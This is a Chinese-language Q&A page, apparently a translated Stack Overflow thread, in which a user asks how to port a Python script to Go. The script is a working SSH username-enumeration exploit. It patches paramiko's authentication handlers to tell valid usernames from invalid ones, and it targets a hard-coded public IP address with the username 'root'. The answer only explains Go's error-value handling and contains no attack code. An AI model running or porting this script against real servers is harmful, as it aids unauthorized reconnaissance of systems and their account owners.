我想在golang版本中转换python代码,这是我的python代码:
#!/usr/bin/env python
import argparse
import logging
import paramiko
import socket
import sys
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
def userauth_failure(*args, **kwargs):
raise InvalidUsername()
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
#logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
sock = socket.socket()
sock.connect(("206.189.86.110", 22))
transport = paramiko.transport.Transport(sock)
transport.start_client()
try:
transport.auth_publickey("root", paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'
这是我当前的 golang 代码:https://play.golang.org/p/rzZ7f_if7Wk ,我想创建与 python 代码版本相同的异常 except InvalidUsername:
和 paramiko.ssh_exception.AuthenticationException
,我该怎么做?
最佳答案
首先,我觉得您采用的方法有点奇怪。 Python 和 Go 是两种截然不同的编程语言,具有不同的编码范例和完全不同的处理错误/异常的方式。因此,从一段 Python 代码开始并将其转换为 Go 可能并不总是那么简单。
由于您的问题最终是关于处理异常的,因此这是一篇关于 Go 如何处理错误的简单文章:https://blog.golang.org/error-handling-and-go (总而言之,函数故意将错误作为值返回,任何调用函数的人都会检查是否已返回错误,然后执行任何它想做的事情,例如 panic 、打印错误或将错误返回上游等)
在您提供的 Go Playground 链接中,可以讨论很多事情——ssh 包的使用、处理或错误等。这是一个专注于异常处理(而不是 ssh 包和逻辑)的快速代码。
注意:这不是如何使用 ssh 包进行身份验证的演示,因此请不要将其用于此类目的。这只是我将如何在逻辑中引入自定义标准化异常/错误的示例。
import (
"fmt"
"golang.org/x/crypto/ssh"
)
var ErrInvalidUsername error = fmt.Errorf("Invalid Username")
var ErrAuthenticationFailed error = fmt.Errorf("Authentication Failure")
var ErrPublicKeyNotParsed error = fmt.Errorf("Could not parse the public key")
func AuthenticateExample(username string, publicKey []byte) error {
// let's assume there is a function isValidUsername that takes a username and returns bool
if !isValidUsername(username) {
return ErrInvalidUsername
}
// do your ssh auth logic here, call ssh package functions which will return an error
// such as...
pubKey, err := ssh.ParseKey(publicKey)
if err != nil {
return ErrPublicKeyNotParsed
// OR you could simple also return the err variable itself by using:
// return err
}
// do more logic, and return ErrAuthenticationFailure is needed
// ...
return nil // since there is no error if we reach this line
}
我希望这有助于稍微解释一下 Go 的异常处理。祝你好运!
关于golang使用ssh连接ssh并打印错误异常,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/52025064/